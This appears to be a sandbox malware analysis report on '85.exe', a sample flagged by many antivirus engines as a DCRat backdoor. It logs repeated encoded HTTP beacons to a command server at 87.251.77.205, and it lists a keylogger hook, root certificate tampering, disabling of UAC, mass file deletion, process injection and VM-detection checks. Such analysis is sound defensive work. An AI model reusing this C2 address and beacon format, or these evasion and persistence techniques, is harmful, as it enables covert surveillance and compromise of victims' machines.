Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1151	1	1151
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JCNpxUdwYkT2VkeXdWTuJGckdFZzJESJlnVHJGaWdEZ6JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1151	1	1151
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1088	1	1088
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiQzaPBjVHJ2cGJjVnhzRkdHbuNGRCl3Yoh2aD5ENr9EMWdkYzZkMWdWRq1EbOBTU0UUVZNEaqJFaKpmWCpleO1mUH1URSBTT1klMZBTV65UbSdkUy00aahXSUlVMZp2QORzaPBjVHJ2cGJjVnFFWaNHeXl1MClmY2JFbD5ENr9EMWdkYzZkMWd2cyMGaxcVWwY1VUtEMnRlNRhlWzh3VZhlQTFmdKNjYaBXUE9EcERGb4dkYoRmRJlmVyY1Z0ADVVBXUE9EcERGb4dkYoRmRJRXOHRWdGdUYRBXUE9EcERGb4dkYoRmRJlmVyY1ZVJTW1ZUbiBnSrNkT0s2TwY1RiNnRyY1Z0cVY1lTbVtEMnRlNRhlWzh3VZhlQ5FWdsdEV1lTbjVFcRR0TwREZsh3RihGZGlkcOhVWOZ0RkxWMrNkT0s2TwY1RiNnRyY1ZnJzYo5UbXtEMnRlNRhlWzh3VZhlQ5JWeW1mY2FzaD5ENr9EMWdkYzZkMWdWVtNmdOtmYwljMZxmUYFWTwFFRPBHRkxGeHJGakZUS6ZFSaZHaYJ1SwcGV2EFWaNHeXlFWCNlYxYVbjxGaHRmRwFFRPBHRkxGeHJGakZUS0ZlbjBjTXp1cWt2QORzaPBjVHJ2cGJjVnVVbjZnTFFmeGdkULBzZUZTUYp1c4dVWYJUaiBXOykFbShVZDBXUE9EcERGb4dkYoRmRJxmSzIGR1cVY250RkBnSrNkT0s2TwY1RiNnRyY1ZNdVY0lzRkJEcRR0TwREZsh3RihGZGlUNKNjY0pEWRtEMnRlNRhlWzh3VZhlQTpla1cVW1xWbRJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1908	1	1908
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JCNpxUdwYkT2lkeXdWTuJGckdFZzJESJlnVHJGaWdEZ6JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1151	1	1151
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JCNpxUdwYkT21keXdWTuJGckdFZzJESJlnVHJGaWdEZ6JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1151	1	1151
send March 14, 2023, 10:35 a.m.	buffer: socket: 1404 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1088	1	1088
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiEFSlBTNptkeOhVW3B3QJdTTyI2a1k2SLBTQOJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1124	1	1124
send March 14, 2023, 10:35 a.m.	buffer: socket: 1404 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JCNpxUdwYkT2FleXdWTuJGckdFZzJESJlnVHJGaWdEZ6JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1151	1	1151
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VficGT1RTaiZHbHRGax02Y2pVbiBnQpNGbodEZ2JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1144	1	1144

Creates a windows hook that monitors keyboard input (keylogger) (1 event)

Time & API	Arguments	Status	Return	Repeated
SetWindowsHookExW March 14, 2023, 10:34 a.m.	thread_identifier: 0 callback_function: 0x02850a92 hook_identifier: 13 (WH_KEYBOARD_LL) module_address: 0x00000000	1	983175	0

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Attempts to modify UAC prompt behavior (2 events)

registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop

Deletes a large number of files from the system indicative of ransomware, wiper malware or system destruction (50 out of 119 events)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14d2b0.TMP
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2688.1364906
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2688.1364906
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2688.1364906
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2568.1359218
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14bbec.TMP
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2568.1359218
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2568.1359218
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.652.1361312
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14c581.TMP
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.652.1361328
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.652.1361312
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14b719.TMP
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2448.1357843
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2448.1357843
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2448.1357843
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2452.1357453
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2452.1357453
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2452.1357453
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14b5a2.TMP
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2712.1359218
file	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2712.1359218
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14bc0b.TMP
file	C:\Users\test22\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2712.1359218
file	C:\Users\test22\AppData\Local\Temp\0O2OfprSOH
file	C:\Users\test22\AppData\Local\Temp\c3h72N1Hsa
file	C:\Users\test22\AppData\Local\Temp\UXx1wHWL1g
file	C:\Users\test22\AppData\Local\Temp\Hl5EUe9tIw
file	C:\Users\test22\AppData\Local\Temp\uXQDQKjDeT
file	C:\Users\test22\AppData\Local\Temp\XFsCXS60fA
file	C:\Users\test22\AppData\Local\Temp\VMMfkKMHSd
file	C:\Users\test22\AppData\Local\Temp\sTgnT0kCrc
file	C:\Users\test22\AppData\Local\Temp\olgdayy0Dl
file	C:\Users\test22\AppData\Local\Temp\yexOWhgeWc
file	C:\Users\test22\AppData\Local\Temp\qXuQBpgakr
file	C:\Users\test22\AppData\Local\Temp\bBJ7vbR5n5
file	C:\Users\test22\AppData\Local\Temp\ESQgiX1VY1
file	C:\Users\test22\AppData\Local\Temp\U5rjdc6uT2
file	C:\Users\test22\AppData\Local\Temp\FolQaPujwi
file	C:\Users\test22\AppData\Local\Temp\HHHqfJIHDi
file	C:\Users\test22\AppData\Local\Temp\T9zoWjcjok
file	C:\Users\test22\AppData\Local\Temp\zeFGAc0eim
file	C:\Users\test22\AppData\Local\Temp\9xgr8X3h4v
file	C:\Users\test22\AppData\Local\Temp\6mfyE2neLg
file	C:\Users\test22\AppData\Local\Temp\OFMGcY5XEu
file	C:\Users\test22\AppData\Local\Temp\A7U0GsK4mx
file	C:\Users\test22\AppData\Local\Temp\lwK2ObYGUR
file	C:\Users\test22\AppData\Local\Temp\Qjmu5LDVm3
file	C:\Users\test22\AppData\Local\Temp\ou7Ogk51kr
file	C:\Users\test22\AppData\Local\Temp\nNgpiEdbvZ

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1676 resumed a thread in remote process 2720
NtResumeThread March 14, 2023, 10:34 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2720	1	0	0

Created a process named as a common system process (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW March 14, 2023, 10:34 a.m.	thread_identifier: 2764 thread_handle: 0x00000088 process_identifier: 2720 current_directory: filepath: C:\Windows\Logs\SystemRestore\explorer.exe track: 1 command_line: "C:\Windows\Logs\SystemRestore\explorer.exe" filepath_r: C:\Windows\Logs\SystemRestore\explorer.exe stack_pivoted: 0 creation_flags: 525328 (CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1	0

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation March 14, 2023, 10:34 a.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Detects VMWare through the in instruction feature (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: explorer+0x4ee40d exception.instruction: in eax, dx exception.module: explorer.exe exception.exception_code: 0xc0000096 exception.offset: 5170189 exception.address: 0xd2e40d registers.esp: 3669740 registers.edi: 12103269 registers.eax: 1447909480 registers.ebp: 10526720 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1	0	0

Disables Windows Security features (1 event)

description

attempts to disable user access control

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

File has been identified by 32 AntiVirus engines on VirusTotal as malicious (32 events)

Lionic	Trojan.Win32.Convagent.trYj
MicroWorld-eScan	Trojan.GenericKD.65906674
McAfee	Artemis!EC50388A6979
Sangfor	Trojan.Win32.Agent.V3vx
CrowdStrike	win/malicious_confidence_100% (W)
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/GenCBL.DRJ
Cynet	Malicious (score: 100)
APEX	Malicious
Paloalto	generic.ml
Kaspersky	Backdoor.MSIL.DCRat.bed
BitDefender	Trojan.GenericKD.65906674
NANO-Antivirus	Virus.Win32.Gen-Crypt.ccnc
Avast	Win32:Trojan-gen
McAfee-GW-Edition	Artemis!Trojan
Trapmine	malicious.moderate.ml.score
FireEye	Generic.mg.ec50388a69792d13
Emsisoft	Trojan.GenericKD.65906674 (B)
SentinelOne	Static AI - Suspicious PE
MAX	malware (ai score=80)
Antiy-AVL	Trojan[Packed]/Win32.Themida
Gridinsoft	Malware.Win32.Wacatac.cc
Microsoft	Trojan:Win32/Casdet!rfn
GData	Win32.Backdoor.DCRat.TX2RUA
Google	Detected
Acronis	suspicious
VBA32	BScope.Trojan.Fuerboos
Rising	Trojan.Generic@AI.100 (RDML:3E9PZVMaebhIJgFHb9+59A)
Ikarus	Trojan.MSIL.Spy
Fortinet	W32/Asprotect.NAY!tr
AVG	Win32:Trojan-gen

85.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All